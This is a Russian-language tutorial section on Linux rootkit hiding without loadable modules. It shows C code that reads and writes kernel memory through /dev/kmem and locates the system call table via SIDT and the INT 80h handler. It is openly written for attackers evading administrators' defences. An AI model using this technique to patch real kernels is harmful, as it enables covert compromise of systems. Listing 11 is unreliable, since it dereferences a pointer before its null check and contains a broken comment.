Прятки в linux


Когда модули недоступны…


Для борьбы с LKM-rootkit'ами некоторые админы компилируют ядро без поддержки загружаемых модулей и удаляют файл System.map, лишая нас таблицы символов. А без нее хрен что найдешь. Но хакеры выживают даже в этих суровых условиях….

Идеология UNIX выгодно отличается от Windows тем, что любая сущность (будь то устройство, процесс или сетевое соединение) монтируется на файловую систему, подчинясь общим правилам. Не избежала этой участи и оперативная память, представленная "псеводустройствами" /dev/mem

(физическая память до виртуальной трансляции) и /dev/kmem

(физическая память после виртуальной трансляции). Манипулировать с данными устройствами может только root, однако, спускаться на уровень ядра ему необязательно, а, значит, поддержка модульности нам не нужна!

Следующие функции демонстрируют технику чтения/записи ядерной памяти с прикладного уровня:

// чтение данных из /dev/kmem

static inline int rkm(int fd, int offset, void *buf, int size)

{

       if (lseek(fd, offset, 0) != offset) return 0;

       if (read(fd, buf, size) != size) return 0;

       return size;

}

// запись данных в /dev/kmem

static inline int wkm(int fd, int offset, void *buf, int size)

{

       if (lseek(fd, offset, 0) != offset) return 0;

       if (write(fd, buf, size) != size) return 0;

       return size;

}

Листинг 9 чтение/запись в/из /dev/kmem

Остается только найти во всем этом мусоре таблицу системных вызовов. Да как же мы ее найдем, если никакой символьной информации у нас нет?! Без паники! Нам помогут центральный процессор и машинный код обработчика прерывания INT 80h, которое этими системными вызовами, собственно говоря, и заведует.

Его дизассемблерный листинг в общем случае выглядит так:

0xc0106bc8 <system_call>:  push   %eax

0xc0106bc9 <system_call+1>: cld

0xc0106bca <system_call+2>: push   %es

0xc0106bcb <system_call+3>: push   %ds

0xc0106bcc <system_call+4>: push   %eax

0xc0106bcd <system_call+5>: push   %ebp


0xc0106bce <system_call+6>: push   %edi

0xc0106bcf <system_call+7>: push   %esi

0xc0106bd0 <system_call+8>: push   %edx

0xc0106bd1 <system_call+9>: push   %ecx

0xc0106bd2 <system_call+10>:      push   %ebx

0xc0106bd3 <system_call+11>:      mov    $0x18,%edx

0xc0106bd8 <system_call+16>:      mov    %edx,%ds

0xc0106bda <system_call+18>:      mov    %edx,%es

0xc0106bdc <system_call+20>:      mov    $0xffffe000,%ebx

0xc0106be1 <system_call+25>:      and    %esp,%ebx

0xc0106be3 <system_call+27>:      cmp    $0x100,%eax

0xc0106be8 <system_call+32>:      jae    0xc0106c75 <badsys>

0xc0106bee <system_call+38>:      testb  $0x2,0x18(%ebx)

0xc0106bf2 <system_call+42>:      jne    0xc0106c48 <tracesys>

0xc0106bf4 <system_call+44>:      call   *0xc01e0f18(,%eax,4) <-- that's it

0xc0106bfb <system_call+51>:      mov    %eax,0x18(%esp,1)

0xc0106bff <system_call+55>:      nop

Листинг 10  фрагмент дизассемблерного листинга обработчика прерывания INT 80h

Смотрите, по адресу 0C0106BF4h расположена команда CALL, непосредственным аргументом которой является… указатель на таблицу системных вызовов! Адрес команды CALL может меняться от одного ядра к другому, или это даже может быть совсем не CALL – в некоторых ядрах указатель на таблицу системных вызовов передается через промежуточный регистр командой MOV. Короче, нам нужна команда, одним из аргументов который является непосредственный операнд X > 0C000000h. Естественно, чтобы его найти потребуется написать простенький дизассемблер (звучит страшнее, чем выглядит) или найти готовый движок в сети. Там их до… ну в общем много.

А как найти адрес обработчика INT 80h в файле /dev/kmem? Просто спросите об этом процессор — он скажет. Команда SIDT возвращает содержимое таблицы дескрпыторов прерываний (Interrupt Descriptor Table), восьмидесятый'h элемент с краю и есть наш обработчик!



Ниже приведен фрагмент кода, определяющего позицию таблицы системных вызовов в /dev/kmem (полная версия содержится в статье "Linux on-the-fly kernel patching without LKM" из 3Ah номера PHRACK'а):

// анализируем первые 100 байт обработчика

#define CALLOFF 100

main ()

{

       unsigned sys_call_off;

       unsigned sct;

       char sc_asm[CALLOFF],*p;

      

       // читаем содержимое таблицы прерываний

       asm ("sidt %0" : "=m" (idtr));

       printf("idtr base at 0x%X\n",(int)idtr.base);

      

       // открываем /dev/kmem

       kmem = open ("/dev/kmem",O_RDONLY);

       if (kmem<0) return 1;

      

       // считывает код обработчика INT 80h из /dev/kmem

       readkmem (&idt,idtr.base+8*0x80,sizeof(idt));

       sys_call_off = (idt.off2 << 16) | idt.off1;

       printf("idt80: flags=%X sel=%X off=%X\n",

       (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

      

       // ищем косвенный CALL

с непосредственным операндом

       // код самой функции dispatch здесь не показан

       dispatch (indirect call) */

       readkmem (sc_asm,sys_call_off,CALLOFF);

       p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);

       sct = *(unsigned*)(p+3);

       if (p)

       {

              printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);

       }

       close(kmem);

}

Листинг 11 поиск обработчика INT 80h внутри /dev/kmem



Рисунок 6 просмотр /dev/mem в hex-редакторе


Содержание раздела